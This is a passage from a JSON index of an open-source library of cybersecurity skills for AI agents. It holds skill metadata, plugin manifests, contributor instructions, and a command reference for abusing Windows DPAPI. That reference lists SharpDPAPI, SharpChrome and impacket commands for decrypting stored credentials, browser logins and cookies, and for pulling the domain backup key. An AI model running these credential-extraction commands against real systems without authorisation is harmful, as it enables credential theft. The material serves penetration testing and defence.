tampering.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","backup","integrity","hash-verification","restore-testing","disaster-recovery"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"],"mitre_attack":["T1486","T1490","T1070","T1078","T1489"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization"],"techniques":[{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"},{"id":"F1017.001","name":"Conversion to Physical Monetary Instruments: Cash","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":1968,"sizeBytes":7745},{"name":"api-reference.md","path":"skills/validating-tpm-measured-boot-attestation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/validating-tpm-measured-boot-attestation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":790,"sizeBytes":2594},{"name":"standards.md","path":"skills/validating-tpm-measured-boot-attestation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/validating-tpm-measured-boot-attestation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":368,"sizeBytes":1537},{"name":"SKILL.md","path":"skills/validating-tpm-measured-boot-attestation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/validating-tpm-measured-boot-attestation/SKILL.md","title":"validating-tpm-measured-boot-attestation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2FSKILL.md -->","frontmatter":{"name":"validating-tpm-measured-boot-attestation","description":"Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","domain":"cybersecurity","subdomain":"hardware-firmware-security","tags":["hardware-firmware-security","tpm","measured-boot","remote-attestation","pcr","tpm2-tools","integrity-verification","trusted-computing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01"],"mitre_attack":["T1542"]},"isInternal":false,"tokens":2536,"sizeBytes":9806},{"name":"api-reference.md","path":"skills/verifying-build-provenance-with-slsa-sigstore/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/verifying-build-provenance-with-slsa-sigstore/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":660,"sizeBytes":2488},{"name":"standards.md","path":"skills/verifying-build-provenance-with-slsa-sigstore/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/verifying-build-provenance-with-slsa-sigstore/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":319,"sizeBytes":1390},{"name":"SKILL.md","path":"skills/verifying-build-provenance-with-slsa-sigstore/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/verifying-build-provenance-with-slsa-sigstore/SKILL.md","title":"verifying-build-provenance-with-slsa-sigstore","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2FSKILL.md -->","frontmatter":{"name":"verifying-build-provenance-with-slsa-sigstore","description":"Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","domain":"cybersecurity","subdomain":"supply-chain-security","tags":["supply-chain","slsa","sigstore","cosign","provenance","attestation","keyless-signing","code-signing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01"],"mitre_attack":["T1195"]},"isInternal":false,"tokens":2629,"sizeBytes":10651},{"name":"marketplace.json","path":".claude-plugin/marketplace.json","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/.claude-plugin/marketplace.json","title":"anthropic-cybersecurity-skills","category":"marketplace","format":"json","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fmarketplace.json -->","frontmatter":{"name":"anthropic-cybersecurity-skills","owner":{"name":"mukul975","email":"mukuljangra5@gmail.com"},"metadata":{"description":"818 cybersecurity skills for AI agents mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3).","version":"1.3.0"},"plugins":[{"name":"cybersecurity-skills","source":"./","description":"818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more. Mapped to 6 frameworks.","version":"1.3.0","author":{"name":"mukul975"},"license":"Apache-2.0","keywords":["cybersecurity","pentesting","forensics","threat-intelligence","cloud-security","malware-analysis","incident-response","zero-trust","devsecops"],"category":"security","homepage":"https://github.com/mukul975/Anthropic-Cybersecurity-Skills","repository":"https://github.com/mukul975/Anthropic-Cybersecurity-Skills"}]},"isInternal":false,"tokens":340,"sizeBytes":1186},{"name":"plugin.json","path":".claude-plugin/plugin.json","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/.claude-plugin/plugin.json","title":"cybersecurity-skills","category":"plugin-manifest","format":"json","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=.claude-plugin%2Fplugin.json -->","frontmatter":{"name":"cybersecurity-skills","description":"818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.","version":"1.3.0"},"isInternal":false,"tokens":54,"sizeBytes":210},{"name":"README.md","path":"tools/README.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/tools/README.md","title":"tools Documentation","category":"plugin-manifest","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=tools%2FREADME.md -->","isInternal":false,"tokens":286,"sizeBytes":1166}],"systemPromptSnippet":"<yakaai_skills repo=\"mukul975/Anthropic-Cybersecurity-Skills\">\n<!-- File: AGENTS.md (Tokens: ~576 | Category: root-instruction) -->\n# AGENTS.md\n\nInstructions for AI agents working in this repository.\n\n## What this repository is\n\nA library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.\n\nThe layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.\n\n## Reading a skill\n\nOnly `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.\n\nRead the description first. If it carries a negative trigger — \"Do not use for X — use `other-skill`\" — honour it. Those exist because two skills would otherwise compete for the same request.\n\n## Changing a skill\n\nFrontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.\n\nAfter changing any `SKILL.md`:\n\n```bash\npip install pyyaml\npython tools/validate-skill.py --all\npython tools/validate-agentskills.py --strict\npython tools/generate-index.py          # regenerate index.json\npython tools/lint-descriptions.py --all\npython tools/detect-collisions.py\n```\n\nAll five run in CI. `index.json` is generated — never edit it by hand.\n\n## Writing a description\n\nThe description is the only signal another agent sees when deciding whether to load the skill. It needs four things:\n\n1. What it does, concretely.\n2. `Use when …` — the phrasings a user would actually type.\n3. `Keywords:` — tool names, event IDs, CVEs, API calls.\n4. `Do not use for X — use other-skill.` — the negative trigger.\n\nKeep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.\n\n## Constraints\n\n- `name` must equal the directory name, lowercase-kebab, ≤64 characters.\n- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.\n- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.\n- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.\n\n## Scope\n\nSee [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.\n\n<!-- File: .github/copilot-instructions.md (Tokens: ~4388 | Category: copilot-instructions) -->\n# Copilot Instructions for Anthropic-Cybersecurity-Skills\n\n**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.\n\n## Quick Facts\n\n- **Type**: Open-source cybersecurity skills library + framework mapping hub\n- **Skills**: 817 across 29 security domains\n- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)\n- **Format**: agentskills.io standard (YAML frontmatter + Markdown)\n- **License**: Apache 2.0 (ethical use required)\n- **Community**: Independent, community-created (not affiliated with Anthropic)\n\n## Repository Structure\n\n```\nAnthropic-Cybersecurity-Skills/\n├── skills/                    # 817 skill directories (kebab-case)\n│   ├── abusing-dpapi-for-credential-access/\n│   │   ├── SKILL.md          # Frontmatter + detailed instructions\n│   │   ├── LICENSE\n│   │   ├── scripts/\n│   │   │   └── process.py    # Optional helper scripts\n│   │   └── references/\n│   │       ├── api-reference.md\n│   │       ├── standards.md\n│   │       └── workflows.md\n│   └── ... (816 more)\n├── mappings/                  # Framework coverage & alignment\n│   ├── mitre-attack/\n│   │   ├── attack-navigator-layer.json\n│   │   └── coverage-summary.md\n│   ├── nist-csf/\n│   ├── owasp/\n│   └── README.md\n├── docs/                      # Additional documentation\n├── index.json                 # Central skill registry (auto-generated)\n├── CONTRIBUTING.md            # Contribution guide\n├── SECURITY.md               # Ethical use & dual-use policies\n└── CODE_OF_CONDUCT.md        # Community guidelines\n```\n\n## Build & Development\n\n### Prerequisites\n\n- **Git** (for cloning and version control)\n- **Python 3.8+** (optional, for scripts/metadata generation)\n- **jq** (optional, for JSON processing; useful for index.json queries)\n\n### Local Setup\n\n```bash\n# Clone the repository\ngit clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git\ncd Anthropic-Cybersecurity-Skills\n\n# No installation needed—skills are static Markdown files\n# View a skill directly:\ncat skills/abusing-dpapi-for-credential-access/SKILL.md\n\n# Search for skills by keyword:\ngrep -r \"credential-access\" skills/*/SKILL.md | head -10\n\n# Query the central index:\njq '.skills[] | select(.description | contains(\"Active Directory\"))' index.json\n```\n\n### Generating/Updating index.json\n\nWhen adding new skills, the index must be regenerated:\n\n```bash\n# If a script exists (check repository):\npython3 generate_index.py\n\n# Otherwise, manually verify:\njq '.skills | length' index.json  # Should match skill directory count\n```\n\n## Architecture & Concepts\n\n### Skill Structure\n\nEach skill is a **self-contained directory** following the `agentskills.io` standard:\n\n```\nskills/skill-name/\n├── SKILL.md              # The authoritative skill definition\n├── LICENSE               # Apache 2.0 (usually)\n├── scripts/\n│   └── process.py        # Optional: helper scripts, agent implementations\n└── references/\n    ├── api-reference.md  # Technical API docs for the skill\n    ├── standards.md      # CVE, NIST, MITRE refs\n    └── workflows.md      # Deep technical procedures\n```\n\n### SKILL.md Format\n\nEvery skill follows this structure:\n\n```markdown\n---\nname: skill-name-kebab-case\ndescription: >-\n  Clear, agent-discoverable description.\n  Include keywords for search/filtering.\n  This is what agents read to decide whether to use this skill.\ndomain: cybersecurity\nsubdomain: red-teaming  # e.g. digital-forensics, compliance-governance, etc.\ntags:\n  - tool-names (mimikatz, burp-suite, etc.)\n  - frameworks (active-directory, cloud, kubernetes, etc.)\n  - techniques (credential-access, privilege-escalation, etc.)\nversion: \"1.0\"\nauthor: github-username\nlicense: Apache-2.0\nnist_csf:\n  - DE.CM-01\n  - PR.AC-01\nmitre_attack:\n  - T1555.004\n  - T1078.002\nmitre_atlas:\n  - AML.P1.003\nmitre_d3fend:\n  - D3-CAA\n  - D3-PCA\nnist_ai_rmf:\n  - GOV-1\nmitre_f3:\n  - FI-B-003\n---\n\n# Skill Title\n\n> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.\n> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.\n\n## Overview\n\nClear, concise explanation of what the skill does and why an agent needs it.\nInclude threat model context if applicable.\n\n## When to Use\n\n- Specific scenario 1\n- Specific scenario 2\n- Real-world contexts where this skill applies\n\n## Prerequisites\n\n- Required tools (with install commands if applicable)\n- Required access/permissions\n- Required knowledge/certifications\n- System requirements\n\n## Workflow\n\n### Step 1: [Action]\nClear instructions with real commands.\n```bash\ntool-name --flag value\n```\n\n### Step 2: [Next Action]\nContinue with detailed steps.\n\n### Output Format\n\nWhat success looks like:\n```\nExpected output or indicator\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| Concept1 | Explanation |\n| Concept2 | Explanation |\n\n## Tools & Systems\n\n- **Tool A** — What it does, where to get it\n- **Tool B** — What it does, where to get it\n\n## Common Scenarios\n\n### Scenario 1\nWhen X, do Y.\n\n### Scenario 2\nWhen A, do B.\n\n## References\n\n- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)\n- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)\n```\n\n### Framework Mappings\n\nEach skill can map to multiple frameworks. Key mappings:\n\n| Framework | Scope | Example |\n|-----------|-------|---------|\n| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |\n| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |\n| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |\n| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |\n| **NIST AI RMF** | AI risk management | GOV (Governance) |\n| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |\n\n### Subdomains (Choose One)\n\n- **web-application-security** — OWASP, API, web app testing\n- **network-security** — Network tools, protocols, monitoring\n- **penetration-testing** — General penetration testing methodology\n- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)\n- **digital-forensics** — Incident response, forensic analysis, disk imaging\n- **malware-analysis** — Static/dynamic malware analysis, reverse engineering\n- **threat-intelligence** — Gathering, analyzing, sharing threat data\n- **cloud-security** — AWS/Azure/GCP-specific security\n- **container-security** — Docker, Kubernetes, container runtime\n- **identity-access-management** — Active Directory, IAM, authentication\n- **cryptography** — Encryption, hashing, key management\n- **vulnerability-management** — Scanning, assessment, remediation\n- **compliance-governance** — CMMC, HIPAA, SOC2, auditing\n- **zero-trust-architecture** — Zero-trust implementation patterns\n- **ot-ics-security** — Operational technology, ICS/SCADA\n- **devsecops** — Secure software development, CI/CD security\n\n## Conventions & Patterns\n\n### Naming\n\n- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)\n- **Skill name**: Same as directory (in YAML frontmatter)\n- **GitHub usernames**: Use lowercase GitHub username as author\n\n### Description Quality\n\nDescriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:\n\n```yaml\n# ✗ Vague\ndescription: How to abuse DPAPI\n\n# ✓ Clear and searchable\ndescription: >-\n  Extract DPAPI-protected secrets such as credentials and browser data\n  offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal\n  for post-exploitation Windows credential harvesting and offline analysis.\n```\n\n### Tags Strategy\n\nUse 3-5 tags for discoverability:\n\n```yaml\ntags:\n  - tool-names           # mimikatz, sharpdpapi, burp-suite\n  - attack-frameworks    # active-directory, kerberos, oauth\n  - techniques           # credential-access, privilege-escalation, lateral-movement\n  - platforms            # windows, linux, macos, cloud\n  - use-cases            # post-exploitation, threat-intel, forensics\n```\n\n### Framework ID Format\n\nIDs are **case-sensitive** and **exact**:\n\n```yaml\nmitre_attack:\n  - T1055                   # Parent technique\n  - T1055.001               # Sub-technique\nnist_csf:\n  - DE.CM-01                # NIST Cybersecurity Framework 2.0\nmitre_atlas:\n  - AML.P1.003              # MITRE ATLAS for AI/ML\nmitre_d3fend:\n  - D3-CAA                  # MITRE D3FEND defensive technique ID\nnist_ai_rmf:\n  - GOV-1                   # NIST AI Risk Management Framework\nmitre_f3:\n  - FI-B-003                # MITRE Fight Fraud Framework\n```\n\n## Common Tasks\n\n### Adding a New Skill\n\n1. **Create skill directory** (kebab-case):\n   ```bash\n   mkdir -p skills/your-skill-name\n   ```\n\n2. **Create SKILL.md** with required frontmatter:\n   ```bash\n   cat > skills/your-skill-name/SKILL.md << 'EOF'\n   ---\n   name: your-skill-name\n   description: >-\n     Clear, discoverable description with keywords.\n   domain: cybersecurity\n   subdomain: red-teaming\n   tags:\n     - tool-name\n     - technique\n     - use-case\n   version: \"1.0\"\n   author: your-github-username\n   license: Apache-2.0\n   mitre_attack:\n     - T1234.567\n   nist_csf:\n     - DE.CM-01\n   mitre_atlas:\n     - AML.P1.003\n   mitre_d3fend:\n     - D3-CAA\n   nist_ai_rmf:\n     - GOV-1\n   mitre_f3:\n     - FI-B-003\n   ---\n   \n   # Skill Title\n   \n   > **Legal Notice:** Authorized use only. [...]\n   \n   ## Overview\n   \n   Clear explanation...\n   EOF\n   ```\n\n3. **Write detailed sections** in Markdown:\n   - When to Use (specific scenarios)\n   - Prerequisites (tools, permissions, access)\n   - Workflow (numbered steps with real commands)\n   - Key Concepts (table for terminology)\n   - Tools & Systems\n   - Common Scenarios\n   - References (framework links)\n\n4. **Add optional supporting files**:\n   ```\n   scripts/process.py         # Helper script or agent implementation\n   references/standards.md    # CVE, NIST, MITRE links\n   references/workflows.md    # Deep technical procedures\n   ```\n\n5. **Add LICENSE**:\n   ```bash\n   cp LICENSE skills/your-skill-name/LICENSE\n   # Or use a specific open-source license file\n   ```\n\n6. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py  # Updates index.json\n   ```\n\n7. **Submit PR**:\n   ```bash\n   git add skills/your-skill-name\n   git commit -m \"Add skill: your-skill-name\"\n   git push origin feature/add-skill-name\n   # Create PR with title: \"Add skill: your-skill-name\"\n   ```\n\n### Updating Framework Mappings\n\nIf a skill maps to new frameworks or techniques change:\n\n1. **Update SKILL.md frontmatter**:\n   ```yaml\n   mitre_attack:\n     - T1555.004      # Add new technique IDs\n   nist_csf:\n     - DE.CM-01       # Add new control IDs\n   ```\n\n2. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py\n   ```\n\n3. **Verify mapping coverage**:\n   ```bash\n   # Check if all referenced IDs are valid:\n   grep -r \"T1[0-9]\" skills/*/SKILL.md | grep -v \"http\"\n   ```\n\n### Searching Skills\n\n**By keyword**:\n```bash\ngrep -r \"active-directory\" skills/*/SKILL.md\n```\n\n**By framework**:\n```bash\ngrep -r \"T1055\" skills/*/SKILL.md  # MITRE ATT&CK technique\n```\n\n**By subdomain**:\n```bash\ngrep \"subdomain: red-teaming\" skills/*/SKILL.md\n```\n\n**Using jq (if index.json exists)**:\n```bash\n# Find skills by keyword\njq '.skills[] | select(.tags[] | contains(\"credential-access\"))' index.json\n\n# Count skills by subdomain\njq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json\n```\n\n## Platform & Framework Notes\n\n### Windows-Specific Skills\n\n- Often leverage PowerShell, Windows APIs, Active Directory\n- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)\n- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)\n\n### Linux/macOS Skills\n\n- Use standard Unix tools (bash, Python, curl, etc.)\n- Note platform availability differences\n- Cloud/container skills often multi-platform\n\n### Cloud Security Skills\n\n- Specify cloud provider (AWS, Azure, GCP, multi-cloud)\n- Reference cloud-specific tools (awscli, az, gcloud)\n- Map to cloud-specific MITRE ATLAS techniques\n\n### AI/ML Attack Skills\n\n- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)\n- Include model/system type (LLM, transformer, computer vision, etc.)\n- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)\n\n## Gotchas & Known Issues\n\n### Legal & Ethical\n\n- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice\n  - Must include \"authorized use only\" disclaimer\n  - Reference SECURITY.md for policy\n- **No credentials**: Never embed API keys, tokens, or credentials\n- **Attribution**: Cite original tool authors and researchers\n\n### Framework Maintenance\n\n- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest\n- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)\n- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org\n\n### Subdomain Assignment\n\n- **Common mistake**: Using wrong subdomain (e.g., \"red-teaming\" for defensive skill)\n  - red-teaming = offensive/attacker perspective\n  - compliance-governance = defensive/compliance perspective\n  - Choose the **primary** subdomain if skill spans multiple\n\n### index.json Generation\n\n- If index doesn't auto-regenerate, manually verify:\n  ```bash\n  # Count skills in index vs directories\n  jq '.skills | length' index.json\n  ls -d skills/*/ | wc -l\n  # Should match (or index may be stale)\n  ```\n\n## Testing & Quality\n\n### Skill Quality Checklist\n\nBefore submitting a PR:\n\n- [ ] **Name**: Kebab-case, 1-64 chars, descriptive\n- [ ] **Description**: Clear, includes keywords, discoverable by agents\n- [ ] **Instructions**: Actionable with real commands and tool names\n- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)\n- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)\n- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs\n- [ ] **Legal notice**: Included if skill is offensive/dual-use\n- [ ] **References**: Links to official framework docs\n- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted\n\n### Manual Verification\n\n```bash\n# Validate skill frontmatter and conventions (repo validator):\npython3 tools/validate-skill.py skills/my-skill/\n# Or validate all skills:\npython3 tools/validate-skill.py --all\n\n# Check for framework ID patterns:\ngrep -E \"^  - (T1[0-9]{3,4}(\\.[0-9]{3})?|DE\\.[A-Z]{2}-[0-9]{2}|AML\\.)\" skills/*/SKILL.md\n\n# Verify all referenced skills have directories:\njq -r '.skills[].name' index.json | while read skill; do\n  [ -d \"skills/$skill\" ] || echo \"Missing: $skill\"\ndone\n```\n\n## Contributing Notes\n\n- **No build required** — Skills are static files; git pull = ready to use\n- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow\n- **Tool versions**: Mention tool versions in prerequisites (e.g., \"Burp Suite 2024.1+\")\n- **Testing**: Test commands on actual systems before submitting\n- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy\n\n## Resources & Links\n\n- **agentskills.io Standard**: https://agentskills.io (format specification)\n- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)\n- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)\n- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)\n- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)\n- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)\n- **Contributing Guide**: `CONTRIBUTING.md` in repo\n- **Security Policy**: `SECURITY.md` — dual-use & ethical use\n- **Code of Conduct**: `CODE_OF_CONDUCT.md`\n- **Community Playground**: https://casky.ai (test skills in browser)\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Add skill | `mkdir skills/name && cat > SKILL.md` |\n| Search by technique | `grep -r \"T1055\" skills/` |\n| Search by subdomain | `grep \"subdomain: red-teaming\" skills/*/SKILL.md` |\n| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` |\n| Regenerate index | `python3 generate_index.py` (if exists) |\n| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |\n\n<!-- File: skills/abusing-dpapi-for-credential-access/references/api-reference.md (Tokens: ~901 | Category: anthropic-skill) -->\n# SharpDPAPI / DPAPI — Command Reference\n\n## SharpDPAPI User Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |\n| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |\n| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |\n| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |\n| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |\n| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |\n| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |\n\n## SharpDPAPI Machine Commands (require admin/SYSTEM)\n\n| Command | Purpose |\n|---------|---------|\n| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |\n| `machinecredentials` | Decrypt machine credential blobs |\n| `machinevaults` | Decrypt machine vault entries |\n| `machinetriage` | Run all machine-scoped triage commands |\n\n## SharpDPAPI Supporting Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |\n\n## Common Flags\n\n| Flag | Meaning |\n|------|---------|\n| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |\n| `/password:<pw>` | Decrypt master keys with the user's plaintext password |\n| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |\n| `/pvk:<file>` | Use domain backup private key for decryption |\n| `/mkfile:<file>` | Provide a specific master key file |\n| `/server:<dc>` | Target DC for backupkey retrieval |\n| `/target:<path>` | Target file/folder to decrypt |\n| `/rpc` | Use RPC to request master key decryption from a DC |\n| `/showall` | Show all certificate stores / verbose output |\n\n## SharpChrome Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |\n| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |\n| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |\n\n## Impacket dpapi.py (Linux)\n\n| Subcommand | Purpose | Example |\n|------------|---------|---------|\n| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |\n| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |\n| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |\n| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |\n\n## Key File Locations\n\n| Path | Contents |\n|------|----------|\n| `%APPDATA%\\Microsoft\\Protect\\<SID>\\` | User master keys |\n| `%WINDIR%\\System32\\Microsoft\\Protect\\` | Machine master keys |\n| `%LOCALAPPDATA%\\Microsoft\\Credentials\\` | Credential Manager blobs |\n| `%APPDATA%\\Microsoft\\Vault\\` / `%LOCALAPPDATA%\\Microsoft\\Vault\\` | Credential Vault |\n\n## External References\n\n- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI\n- Impacket: https://github.com/fortra/impacket\n\n<!-- File: skills/abusing-dpapi-for-credential-access/references/standards.md (Tokens: ~458 | Category: anthropic-skill) -->\n# Standards and References — Abusing DPAPI for Credential Access\n\n## NIST CSF 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |\n\n## MITRE ATT&CK\n\n| Technique ID | Name | Tactic | Rationale |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |\n\n## Supporting Frameworks and 